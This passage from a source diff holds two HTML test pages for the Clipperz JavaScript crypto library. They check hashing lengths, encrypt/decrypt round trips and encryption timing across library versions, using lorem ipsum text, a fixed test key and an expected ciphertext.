|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/AES.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/PRNG.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/BigInt.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/SRP.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Proxy.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Connection.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Crypto.js'></script>
|
||||
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.Async.js"></script>
|
||||
<!--
|
||||
<script>
|
||||
MochiKit.DOM.addLoadEvent(MochiKit.Base.partial(MochiKit.LoggingPane.createLoggingPane, true));
|
||||
MochiKit.Logging.logger.useNativeConsole = true;
|
||||
</script>
|
||||
-->
|
||||
</head>
|
||||
<body>
|
||||
<pre id="test">
|
||||
|
||||
<script type="text/javascript">
|
||||
|
||||
|
||||
Clipperz_PM_Crypt_test = function() {
|
||||
var key;
|
||||
|
||||
var plainData;
|
||||
var encryptedData;
|
||||
var decryptedData;
|
||||
|
||||
var result;
|
||||
var expectedResult;
|
||||
|
||||
var plainText;
|
||||
var longPlainText;
|
||||
|
||||
key = 'trustno1';
|
||||
|
||||
plainText = "Lorem ipsum dolor sit amet";
|
||||
longPlainText = "Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Donec nunc sapien, condimentum vitae, varius vel, pharetra in, augue. Mauris quam magna, pretium sit amet, accumsan id, volutpat lobortis, nibh. Fusce sagittis. Aenean justo. Curabitur euismod pede. Morbi at ante. Proin nisl leo, ultrices sed, facilisis et, nonummy sit amet, lorem. Praesent mauris tellus, pulvinar sed, nonummy vitae, rhoncus non, nunc. Proin placerat malesuada nisl. Nunc id enim. Maecenas commodo enim ac nibh. Sed condimentum, urna sit amet euismod gravida, mi urna varius odio, luctus pretium lectus justo nec felis. Ut in augue et est malesuada rhoncus. Sed vel orci. Mauris suscipit. Praesent cursus velit non turpis. Donec tristique dolor ac est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Nulla est sapien, vulputate eget, bibendum id, pharetra nec, mauris. Aliquam faucibus tincidunt dui. Proin iaculis. Maecenas sagittis. Integer et augue. Donec vitae urna in orci aliquet commodo. Vestibulum lorem sem, suscipit ac, placerat nec, mollis in, felis. Donec laoreet odio a mauris. Integer rutrum, sapien id varius molestie, mauris odio egestas orci, non bibendum sem felis in metus. Phasellus consectetuer lectus adipiscing mauris. Ut magna tellus, euismod ac, suscipit tincidunt, ullamcorper adipiscing, massa. Etiam orci. Phasellus a urna. Cras neque quam, laoreet at, tempus eget, euismod nec, nibh. Etiam hendrerit. Aenean vel lorem. Ut ligula lacus, congue eu, lobortis sit amet, venenatis in, magna. Nullam cursus felis quis est. Sed sem est, condimentum eu, vestibulum a, mattis vel, diam. Curabitur tincidunt pede quis pede. Sed neque diam, convallis vel, luctus at, porta id, nisl. Suspendisse potenti. Sed volutpat lobortis orci. Praesent mi. In interdum. Suspendisse suscipit ipsum eget dolor. Curabitur et tellus sed velit hendrerit varius. Cras sit amet est. Donec arcu nulla, vehicula et, pretium in, placerat id, felis. Integer mollis auctor lectus. Integer ultrices elementum sapien. Nam et erat. Nam pulvinar porta tortor. Nam at risus. Quisque nulla. Integer vestibulum, lacus id bibendum laoreet, ligula mi pharetra lorem, sit amet pharetra felis mauris quis justo. Aliquam ultricies. Duis a pede eget lorem dapibus rhoncus. Aenean eu elit non libero consectetuer viverra. Maecenas velit mi, eleifend vel, malesuada vel, condimentum quis, odio. Mauris tempus augue sed turpis. Pellentesque condimentum, lacus vitae pellentesque ultricies, risus tellus posuere nisi, et dictum turpis pede nec elit. Sed eu lectus eu justo sagittis euismod. Vestibulum lobortis, urna id mollis rhoncus, orci quam euismod ligula, at malesuada lacus magna vitae massa. Phasellus mattis fermentum velit. Nulla vulputate consequat enim. Maecenas quis neque. Curabitur sagittis facilisis neque. In elementum, eros non porttitor rhoncus, libero turpis sodales odio, vitae porta tellus purus et ante. Nullam molestie sollicitudin metus. Donec a elit. Morbi ut lacus. Donec at arcu. Quisque velit diam, interdum a, lacinia at, varius et, odio. Cras neque magna, ornare id, sollicitudin id, consequat a, est. Phasellus vestibulum est at leo. Nam facilisis, nulla dapibus condimentum pellentesque, est magna viverra ligula, at sollicitudin urna augue ut sapien. Fusce justo.";
|
||||
|
||||
//
|
||||
// hashing
|
||||
//
|
||||
plainData = new Clipperz.ByteArray(plainText);
|
||||
|
||||
result = Clipperz.PM.Crypto.encryptingFunctions.versions['0.1'].hash(plainData);
|
||||
is(result.length(), (256/8), "encryptingFunctions.versions[0.1].hash generate a 256 bit signature with a short text");
|
||||
|
||||
result = Clipperz.PM.Crypto.encryptingFunctions.versions['0.2'].hash(plainData);
|
||||
is(result.length(), (256/8), "encryptingFunctions.versions[0.2].hash generate a 256 bit signature with a short text");
|
||||
|
||||
|
||||
plainData = new Clipperz.ByteArray(longPlainText);
|
||||
|
||||
result = Clipperz.PM.Crypto.encryptingFunctions.versions['0.1'].hash(plainData);
|
||||
is(result.length(), (256/8), "encryptingFunctions.versions[0.1].hash generate a 256 bit signature with a long text");
|
||||
|
||||
result = Clipperz.PM.Crypto.encryptingFunctions.versions['0.2'].hash(plainData);
|
||||
is(result.length(), (256/8), "encryptingFunctions.versions[0.2].hash generate a 256 bit signature with a long text");
|
||||
|
||||
|
||||
//
|
||||
// encrypting / decripting
|
||||
//
|
||||
plainData = plainText;
|
||||
|
||||
encryptedData = Clipperz.PM.Crypto.encryptingFunctions.versions['0.1'].encrypt(key, plainData);
|
||||
decryptedData = Clipperz.PM.Crypto.encryptingFunctions.versions['0.1'].decrypt(key, encryptedData);
|
||||
is(plainData.toString(), decryptedData.toString(), "encryptingFunctions.versions[0.1] of encrypt/decrypt functions work with a short text");
|
||||
|
||||
encryptedData = Clipperz.PM.Crypto.encryptingFunctions.versions['0.2'].encrypt(key, plainData);
|
||||
decryptedData = Clipperz.PM.Crypto.encryptingFunctions.versions['0.2'].decrypt(key, encryptedData);
|
||||
is(plainData.toString(), decryptedData.toString(), "encryptingFunctions.versions[0.2] of encrypt/decrypt functions work with a short text");
|
||||
|
||||
//console.time("encrypt-256-short");
|
||||
encryptedData = Clipperz.PM.Crypto.encryptingFunctions.versions['0.3'].encrypt(key, plainData);
|
||||
//console.timeEnd("encrypt-256-short");
|
||||
//console.time("decrypt-256-short");
|
||||
decryptedData = Clipperz.PM.Crypto.encryptingFunctions.versions['0.3'].decrypt(key, encryptedData);
|
||||
//console.timeEnd("decrypt-256-short");
|
||||
is(plainData.toString(), decryptedData.toString(), "encryptingFunctions.versions[0.3] of encrypt/decrypt functions work with a short text");
|
||||
|
||||
|
||||
plainData = longPlainText + longPlainText + longPlainText + longPlainText + longPlainText + longPlainText + longPlainText + longPlainText;
|
||||
|
||||
/*
|
||||
encryptedData = Clipperz.PM.Crypto.encryptingFunctions.versions['0.1'].encrypt(key, plainData);
|
||||
decryptedData = Clipperz.PM.Crypto.encryptingFunctions.versions['0.1'].decrypt(key, encryptedData);
|
||||
is(plainData, decryptedData, "encryptingFunctions.versions[0.1] of encrypt/decrypt functions work with a long text");
|
||||
|
||||
encryptedData = Clipperz.PM.Crypto.encryptingFunctions.versions['0.2'].encrypt(key, plainData);
|
||||
decryptedData = Clipperz.PM.Crypto.encryptingFunctions.versions['0.2'].decrypt(key, encryptedData);
|
||||
is(plainData, decryptedData, "encryptingFunctions.versions[0.2] of encrypt/decrypt functions work with a long text");
|
||||
|
||||
encryptedData = Clipperz.PM.Crypto.encryptingFunctions.versions['0.3'].encrypt(key, plainData);
|
||||
decryptedData = Clipperz.PM.Crypto.encryptingFunctions.versions['0.3'].decrypt(key, encryptedData);
|
||||
is(plainData, decryptedData, "encryptingFunctions.versions[0.3] of encrypt/decrypt functions work with a long text");
|
||||
*/
|
||||
|
||||
{
|
||||
var deferredResult;
|
||||
var startTime;
|
||||
// var nonce;
|
||||
|
||||
// nonce = new Clipperz.ByteArray("0x00000000000000000000000000000000");
|
||||
plainData = plainData + plainData + plainData + plainData + plainData + plainData + plainData + plainData;
|
||||
MochiKit.Logging.logDebug("plainData length: " + plainData.length);
|
||||
startTime = new Date();
|
||||
|
||||
deferredResult = new MochiKit.Async.Deferred();
|
||||
|
||||
deferredResult.addCallback(function() {
|
||||
return Clipperz.PM.Crypto.deferredEncrypt({key:key, value:plainData, version:'0.3'});
|
||||
// return Clipperz.PM.Crypto.encrypt(key, plainData, '0.3' / *Clipperz.PM.Crypto.encryptingFunctions.currentVersion* /);
|
||||
});
|
||||
deferredResult.addCallback(function(aResult) {
|
||||
MochiKit.Logging.logDebug("encrypting: " + (new Date() - startTime));
|
||||
startTime = new Date();
|
||||
return aResult;
|
||||
});
|
||||
deferredResult.addCallback(MochiKit.Async.wait, 1);
|
||||
deferredResult.addCallback(function(aResult) {
|
||||
MochiKit.Logging.logDebug("pause: " + (new Date() - startTime));
|
||||
startTime = new Date();
|
||||
return aResult;
|
||||
});
|
||||
deferredResult.addCallback(function(anEncryptedValue) {
|
||||
return Clipperz.PM.Crypto.deferredDecrypt({key:key, value:anEncryptedValue, version:'0.3'});
|
||||
});
|
||||
deferredResult.addCallback(function(aResult) {
|
||||
MochiKit.Logging.logDebug("decrypting: " + (new Date() - startTime));
|
||||
startTime = new Date();
|
||||
return aResult;
|
||||
});
|
||||
deferredResult.addCallback(MochiKit.Async.wait, 1);
|
||||
deferredResult.addBoth(function(aDecryptedValue) {
|
||||
is(plainData, aDecryptedValue, "deferredEncript/deferredDecript functions work with a long text");
|
||||
});
|
||||
|
||||
|
||||
|
||||
/*
|
||||
deferredResult.addCallback(function(aResult) {
|
||||
var i,c;
|
||||
var currentChar;
|
||||
var unicode;
|
||||
|
||||
unicode = 150;
|
||||
|
||||
c = 100000;
|
||||
startTime = new Date();
|
||||
for (i=0; i<c; i++) {
|
||||
currentChar = String.fromCharCode(unicode+1);
|
||||
}
|
||||
MochiKit.Logging.logDebug("String.fromCharCode: " + (new Date() - startTime));
|
||||
});
|
||||
|
||||
deferredResult.addCallback(function(aResult) {
|
||||
var i,c;
|
||||
var currentByte;
|
||||
var unicode;
|
||||
|
||||
currentByte = 150;
|
||||
|
||||
c = 100000;
|
||||
startTime = new Date();
|
||||
for (i=0; i<c; i++) {
|
||||
unicode = (currentByte & 0x0f) << (6+6);
|
||||
}
|
||||
MochiKit.Logging.logDebug("(currentByte & 0x0f) << (6+6): " + (new Date() - startTime));
|
||||
});
|
||||
|
||||
deferredResult.addCallback(function(aResult) {
|
||||
var i,c;
|
||||
var currentByte;
|
||||
var byteArray;
|
||||
|
||||
currentByte = 150;
|
||||
|
||||
byteArray = new Clipperz.ByteArray(plainData);
|
||||
c = byteArray.length();
|
||||
startTime = new Date();
|
||||
for (i=0; i<c; i++) {
|
||||
currentByte = byteArray.byteAtIndex(i);
|
||||
}
|
||||
MochiKit.Logging.logDebug("byteAtIndex: " + (new Date() - startTime));
|
||||
});
|
||||
*/
|
||||
|
||||
deferredResult.addBoth(function() {
|
||||
SimpleTest.ok(true, "COMPLETED all tests");
|
||||
SimpleTest.finish();
|
||||
})
|
||||
|
||||
deferredResult.callback();
|
||||
}
|
||||
|
||||
SimpleTest.waitForExplicitFinish();
|
||||
}
|
||||
|
||||
//#############################################################################
|
||||
|
||||
try {
|
||||
MochiKit.Signal.connect(Clipperz.Crypto.PRNG.defaultRandomGenerator(), 'readyToGenerateRandomBytes', Clipperz_PM_Crypt_test);
|
||||
|
||||
Clipperz.Crypto.PRNG.defaultRandomGenerator().fastEntropyAccumulationForTestingPurpose();
|
||||
SimpleTest.waitForExplicitFinish();
|
||||
} catch (err) {
|
||||
|
||||
var s = "test suite failure!\n";
|
||||
var o = {};
|
||||
var k = null;
|
||||
for (k in err) {
|
||||
// ensure unique keys?!
|
||||
if (!o[k]) {
|
||||
s += k + ": " + err[k] + "\n";
|
||||
o[k] = err[k];
|
||||
}
|
||||
}
|
||||
ok ( false, s );
|
||||
}
|
||||
|
||||
</script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,153 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.PM.Crypt - Performance evaluation - TEST</title>
|
||||
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../js/JSON/json2.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/ByteArray.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Logging.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/SHA.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/AES.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/PRNG.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/BigInt.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/SRP.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Proxy.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Connection.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/PM/Crypto.js'></script>
|
||||
|
||||
<!--< script type='text/javascript' src='../../../../js/Clipperz/Crypto/AES_other_implementation.js'>< /script> -->
|
||||
|
||||
</head>
|
||||
<body>
|
||||
<pre id="test">
|
||||
|
||||
<script type="text/javascript">
|
||||
|
||||
try {
|
||||
var key;
|
||||
var shortText;
|
||||
var longText;
|
||||
var veryLongText;
|
||||
var byteArray;
|
||||
var plainText;
|
||||
var encryptedText;
|
||||
var decryptedText;
|
||||
var startTime, endTime;
|
||||
var startTime1, endTime1;
|
||||
var ClipperzCryptoVersion;
|
||||
var i,c;
|
||||
|
||||
ClipperzCryptoVersion = '0.3';
|
||||
Clipperz.Crypto.PRNG.defaultRandomGenerator().fastEntropyAccumulationForTestingPurpose();
|
||||
key = 'trustno1';
|
||||
|
||||
shortText = "Lorem ipsum dolor sit amet";
|
||||
longText = "Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Donec nunc sapien, condimentum vitae, varius vel, pharetra in, augue. Mauris quam magna, pretium sit amet, accumsan id, volutpat lobortis, nibh. Fusce sagittis. Aenean justo. Curabitur euismod pede. Morbi at ante. Proin nisl leo, ultrices sed, facilisis et, nonummy sit amet, lorem. Praesent mauris tellus, pulvinar sed, nonummy vitae, rhoncus non, nunc. Proin placerat malesuada nisl. Nunc id enim. Maecenas commodo enim ac nibh. Sed condimentum, urna sit amet euismod gravida, mi urna varius odio, luctus pretium lectus justo nec felis. Ut in augue et est malesuada rhoncus. Sed vel orci. Mauris suscipit. Praesent cursus velit non turpis. Donec tristique dolor ac est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Nulla est sapien, vulputate eget, bibendum id, pharetra nec, mauris. Aliquam faucibus tincidunt dui. Proin iaculis. Maecenas sagittis. Integer et augue. Donec vitae urna in orci aliquet commodo. Vestibulum lorem sem, suscipit ac, placerat nec, mollis in, felis. Donec laoreet odio a mauris. Integer rutrum, sapien id varius molestie, mauris odio egestas orci, non bibendum sem felis in metus. Phasellus consectetuer lectus adipiscing mauris. Ut magna tellus, euismod ac, suscipit tincidunt, ullamcorper adipiscing, massa. Etiam orci. Phasellus a urna. Cras neque quam, laoreet at, tempus eget, euismod nec, nibh. Etiam hendrerit. Aenean vel lorem. Ut ligula lacus, congue eu, lobortis sit amet, venenatis in, magna. Nullam cursus felis quis est. Sed sem est, condimentum eu, vestibulum a, mattis vel, diam. Curabitur tincidunt pede quis pede. Sed neque diam, convallis vel, luctus at, porta id, nisl. Suspendisse potenti. Sed volutpat lobortis orci. Praesent mi. In interdum. Suspendisse suscipit ipsum eget dolor. Curabitur et tellus sed velit hendrerit varius. Cras sit amet est. Donec arcu nulla, vehicula et, pretium in, placerat id, felis. Integer mollis auctor lectus. Integer ultrices elementum sapien. Nam et erat. Nam pulvinar porta tortor. Nam at risus. Quisque nulla. Integer vestibulum, lacus id bibendum laoreet, ligula mi pharetra lorem, sit amet pharetra felis mauris quis justo. Aliquam ultricies. Duis a pede eget lorem dapibus rhoncus. Aenean eu elit non libero consectetuer viverra. Maecenas velit mi, eleifend vel, malesuada vel, condimentum quis, odio. Mauris tempus augue sed turpis. Pellentesque condimentum, lacus vitae pellentesque ultricies, risus tellus posuere nisi, et dictum turpis pede nec elit. Sed eu lectus eu justo sagittis euismod. Vestibulum lobortis, urna id mollis rhoncus, orci quam euismod ligula, at malesuada lacus magna vitae massa. Phasellus mattis fermentum velit. Nulla vulputate consequat enim. Maecenas quis neque. Curabitur sagittis facilisis neque. In elementum, eros non porttitor rhoncus, libero turpis sodales odio, vitae porta tellus purus et ante. Nullam molestie sollicitudin metus. Donec a elit. Morbi ut lacus. Donec at arcu. Quisque velit diam, interdum a, lacinia at, varius et, odio. Cras neque magna, ornare id, sollicitudin id, consequat a, est. Phasellus vestibulum est at leo. Nam facilisis, nulla dapibus condimentum pellentesque, est magna viverra ligula, at sollicitudin urna augue ut sapien. Fusce justo.";
|
||||
veryLongText = "";
|
||||
c = 100;
|
||||
for (i=0; i<100; i++) {
|
||||
veryLongText += longText;
|
||||
}
|
||||
nonce = new Clipperz.ByteArray(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
|
||||
|
||||
|
||||
//--------------------------------------------------------------
|
||||
//
|
||||
// longText encryption performance
|
||||
//
|
||||
//--------------------------------------------------------------
|
||||
|
||||
plainText = longText;
|
||||
|
||||
startTime = new Date();
|
||||
encryptedText = Clipperz.PM.Crypto.encryptingFunctions.versions[ClipperzCryptoVersion].encrypt(key, plainText, nonce);
|
||||
endTime = new Date();
|
||||
//console.log("[1] encryption time: " + (endTime - startTime));
|
||||
is((endTime - startTime < 350), true, "[1] Need to improve some more (" + (endTime - startTime) + ")");
|
||||
is(encryptedText, "AAAAAAAAAAAAAAAAAAAAAOpomXumvlZ1SxHJuJxGPrSK4R7cmkF1cGVGaq0m9nlp6CvZMiV2OKXa714uyy1uvU/2fkYs1weBw76FIdfSLn3i7FtRP1HGH3TCK2BetLMJ3oS+vmYm7XVxpoT6zlOsHDqm8nZL8ubGafCC0Q+EV/YYbABu9kwxP6q3QPywBNJxtEBs5B7jtNdLUNWdFRDv6ciaUHWAtfIw4LUQFN0hZucRFbTu61KewtzMXyEek0VPg7nZZRrxI1YNODkwvysBVVbj/VQmTfnBvhBUF3896ZDRqDKh0iCJwA4AlSgbBtBofl4jMu4Yepw9vqHdPYyLJBTFUEYBjPQjE36wQfqYItGLUMfVko9SLjVEUYIW9opUFSSP0LBnH0DnMzOZDwPcSgrLqiqFATBeDsd0EJZTSPdTGLmJbMTdbx3tVC0tndcmbeZJIs7LoCNm9GXtOJqbxwTZ5cOBqOqbk+3AT1/2yiFqqSQxXMzoYNrJCA7UNlwn4VdOu3N5/jx280MT/sQ8uTt8XeffDpfCuFvDYduU6iUk8wl8thv98zCx3WQd2XDPjx9XTxTB3G3aQW9S1YzRXFlOfYmKfCYm90u+OFa2GRC3Bflyn2nbrFa1bJ8v1Zl2xZO4gzcbR+p/2ZkLg0lXWkP7wNhtBy2TW4Xre/WPYgIOA1jDYTrqmNKNHjDiYmV54T41AAxn7zvL1E34d2EGa6ybo98MiMkEt6mSkqBXkhQ3GzCqO979ua2TbetYvOd9upa/jF8E/cvtvRgrqvrMC2oMR0quWOyCE75ToG689RUnpNsflvowxUpurhZEtUuMFguC7LLvN0GYOO+BojA+HJYQddDlp0LGP45ZQUe1gUlgwm+Gooq9MwX8PfxHRsQbMplyRBsYYpsMacgvtDT9ddZmB1/XZtdXKapsMY/BMGKr7Zov+XJlAh4xBSISv+w0UwgRw31LqyAR/VKA7dkXr47XNM+/EYxrcAIrVIq4LToTXrCtb6cYiUVN24ycuw4WRy2IbC1rhdk2pDI1gbuMm3da+XquRSnIqHOrr9Fk3j7bO6hQmGGHVlyxuJn19R8ppiUk1BUGBd96kqb1YcCkxPpzRjYMqX9AijoGT6j42p7TOPi55a4x3EKLiplWglI9/lZc4XNN6i9x7fRFbQyAADg3DsRkdkGt7htW3mX3eDbaUpk7gzKwHuKJZ/dx2C94/J8QFHVXEdnTcyNZhrzO1wij5u1TEmwfLxwh7njcAjRt+QmSurCLByu6SX0ZJQUtR2ttpPxEnIJlLoG8yJqpdARFksPcue5xY+bDr9mOGaRwmf/BiCVXGa1nvvcPNTV4EJfdSS3Lo0qXSV+vyZWJTF1qbnZQD8AeGsnICf22CGELR/nK2tjhGX12vGcANWlvwUipeQtt+AmotP+xGHXkhBPnfUnaT+s5ZdkgPztlfXkvCfWf4FEliCy7tQqJCMlE99xo+kJUiJrpjaI/DcLc2Kl6CK/jfDtB9Ua+zcD1Hcy7GjRvOMDEFXKSoV1wSavYS0HPBNahfqiTHsdNH4Bn1KZUxgbdA75+PcAxR5UQYrmEVqBJlvHxWvvsqRJF9oSFw7Gt8WNkN9vtLJuVDLnHvBr9QGE7N/09vX4xWi3YRmYsvhCYqedlYQzG4XKzo57xS0vWun+1qli0k/8fUgixs77oA8f8QZLLaxH6x4llKVAb8UgduHuEGZgpH1wQeXP7tECqkKVIUqusEiz8hIwzDFMn9zebXp8+P4RLMqE2dTwrK0vIdE13N+vmO4q8xnBabOGM3SDz/gP6LMl4J05zmFeJIx9DIXE886B5DoNrG+rg6bOdKzI0dRUZHyMbzG7Ed3VF4OjmdWDJPg5UajLS4CVnm2IuNw8u5YtxSjRq68buzK88v12ApKX2zKDAunHZV8zQFMqV6fBGfzT1/iL+VDf3okHJEpTfG1U6JPsGa2C8P/V6KTVqdN6nZNMttTDOFeO97un44MC7lrNqAGTexEcjNPQoB6I4FuoRt2hk99ZGpndfMNelsIxhoIbKfQkTtCd3SFV7BSqOON+XMdwXh82+k+BG0RYLYhBn4/6e63mywSsAug+Nt+/ERakni8SllV3XLMrXkoVKT/0Rly6b4W8+g2+izerjwLSbVM1ea7wtoskRB3zJnyC+ZdRb1ULyZuXLlfxOUg3NIJjRJigW62Jo4oX6rf8/BvLhCn3fhdFwBbqISNvSuI29oCHWlWktXC8t7YC0ulAunGCUT1t2rCQTHkRkOGOSSQ04Zj6mu+AttOz5wuK7kTHoCb5+da5H6IGkIPgvR1+IAs9V8zXK3VQ5vVZO6GcXvz06nDSDZuBB6UQn5I9X8tjRy0g5bWFMniCC8cbS2K+OTpUVuDEJk1Lbyd1h67Kaa6NaxzmFjAN220gdRU8HG5qzCMH1j1MxWyKRvT5kP7HpV0NsjOfLpBi2WfAMS1dRZizqwdM6xNA2zfMCpy+57oo45t2Z1r3jRPgKEfhkkr0QyN8ClpzddyCeJnebIT/MePjxwT9B0AQKd0vu5zTMOAZekmoO8kJ4dHDETz/pnF98xTxzoUXAwt+pkE2J/JFQPAtRtFu0kYq7366ETJrHk47PFwan3mYKXj4m+EC0ssqoCPgmX6gEE8GyFw0tfVsqOAkbckTR6NtqZw4lTkB9PeUndFHliFpGBNtFAQ2lHJg2QG3nNUaHzVV+r3ek1faXSeBa2Sbr4wyOWQcJot++yB3Nu1lqfV8rYVSTMm5zerCdAF5CpKhZUTQqc1RtIusvE/HSFdcrKnMYtI05C7JpQYwaUOC1SxO+zPmDC44FGKm3oQ6BrPJOnYQghOVMP9AiuwZehzsuULGqSqnFL830cRh+BVY7+asybdMyMjaqbEufVVQe62DFxpPge+LLYT3S/7braD+3nQUuvHr8FglWwit6iFG2Zfu46dP19oMY0RZF+NFL9F3AthZO9smONldBfFb8FgvwulzJCGMCxlhDbae2XmDGigKowgAge+Ht5naotIewfO+f6C7MQh8MoZtDupaJqCP/my2rQ9b5HAvICweOcchr91vPXPTnu4NgyIMxrUE/JdZuM9Uh/ruTcI7dkwq5/+SOlGzEfT0pw3iQ+C3RxwaMisDbSQvzd3UJd0ORMSPwcYjbClStsKCO4QlOGxuCbW7YOMK8XMG866idcN69K6csPsdnqxbsoY3N0c9w4492X+o6t79wl6wpi5gLG1eP1F7dvmHvashEvtfCWdmdx9tSM5yjBGWBk10SIoAKH5bk3UQ4B3GNENrTPzoZY6d0NmolFXc1rlamFmKKs+Snjrr9Yl0GbGKSxcP4pQFAan342o/31b0Jv/mDa6GbbeBoYlc1yEVSNNcGCCG38oWY14Ns8YLRVrFsCjsYskmRawnNXMbEZT1J8aD2Afg4SqqWm309cnane/rOika2eB6vyWZQPUnOhQ5SDn+1YAtjWqRBSfICQPD5/YTI88DwATpDtd9eJ8oSBKZT6Mo4Hp76XjZEjktfZqUIyFAqFdrCfrrk1XAp2KNRonguublBpBL5aNtI2Qe19nv+ApOdiNdU+ueLJm763Ql8iuQiUnochxhJPIbxdktgfCrZXEAdwbqLz5UG41kIxbAXz2MJ3BsYnqzJ5UIln6Crt8rYUtfIZoT80NCSg0EBxg/hTX6Vaz1eqjMmCQ805LGL+Km4zLP9xhYEjetvlbLtt+Vm/JRhsek63+QKTqX86E+QfBj6WGxd1DE8qp+adBS8oBhhDP0af7cG5l+VNw/skdM6xcWJ/GqooUG+VPxrnnCmMkSdxLh4bMxj4yDHqhe45hlWW+RgyX6zyIb+fyc3/8TQTlFOoQFig6XmEj7zpXe5xfOUqdaEre0tzCq+t6V9F9Rk3AXDFJSs7a4fUuPJarCs6x2Tr0mGHVw+2N4AKBM5OS0XlTjvAo49JaglmYx/+DVYMKBPnc+ft/X+8GLa0YBJgKQTCLmRe6mDSLABPiNGvIyuQvK2jz6CBNSqmK3UzZW9b6fDXtDnXwjsUaMpL5LLtsX+0htUb0tgMRb320NY7gkbjkroxMRCFw/iPF9VxtIT4airsjPc1vd9zheedCAMDL2+JQpKPSvXNtPHOWCemAA167H6IPEup2CFAl8Z4biHswM5u8SeulNGh+qTw5OE7/jOgvFfLrPktgzw6sBROvvRl8UHkVt+v+A9tOE6PJXj1Eh22tHfYOxQGB0NnKXtN2kRGjAJbMaGCOiF+6JjdjWWQXFk4tCGZjCanuV1rmFOJoiy/mJydg5xQTQoQrN87k7gqh6TCPzFLqleyblMVzMH9JYIjrfnx3ORdrk/FICvrLUmp4GBE9dxL0EAZsff6WEFVrPqvxFbRkcRnuj19z/zlRI0nHTmLdqwY2D9NbGETHCdAQgqh4FIK6vaYP4icqM=", "encrypted text");
|
||||
decryptedText = Clipperz.PM.Crypto.encryptingFunctions.versions[ClipperzCryptoVersion].decrypt(key, encryptedText);
|
||||
is(decryptedText, plainText, "encrypt <-> decrypt works (specifying the nonce)");
|
||||
|
||||
startTime = new Date();
|
||||
encryptedText = Clipperz.PM.Crypto.encryptingFunctions.versions[ClipperzCryptoVersion].encrypt(key, plainText);
|
||||
endTime = new Date();
|
||||
//console.log("[2] encryption time: " + (endTime - startTime));
|
||||
is((endTime - startTime < 350), true, "[2] Need to improve some more (" + (endTime - startTime) + ")");
|
||||
decryptedText = Clipperz.PM.Crypto.encryptingFunctions.versions[ClipperzCryptoVersion].decrypt(key, encryptedText);
|
||||
is(decryptedText, plainText, "encrypt <-> decrypt works");
|
||||
|
||||
//--------------------------------------------------------------
|
||||
//
|
||||
// veryLongText encryption performance
|
||||
//
|
||||
//--------------------------------------------------------------
|
||||
/*
|
||||
plainText = veryLongText;
|
||||
|
||||
startTime = new Date();
|
||||
encryptedText = Clipperz.PM.Crypto.encryptingFunctions.versions[ClipperzCryptoVersion].encrypt(key, plainText);
|
||||
endTime = new Date();
|
||||
//console.log("[3] encryption time: " + (endTime - startTime));
|
||||
is((endTime - startTime < 35000), true, "[3] Need to improve some more (" + (endTime - startTime) + ")");
|
||||
decryptedText = Clipperz.PM.Crypto.encryptingFunctions.versions[ClipperzCryptoVersion].decrypt(key, encryptedText);
|
||||
is(decryptedText, plainText, "encrypt <-> decrypt works");
|
||||
*/
|
||||
|
||||
//#############################################################################
|
||||
|
||||
} catch (err) {
|
||||
|
||||
var s = "test suite failure!\n";
|
||||
var o = {};
|
||||
var k = null;
|
||||
for (k in err) {
|
||||
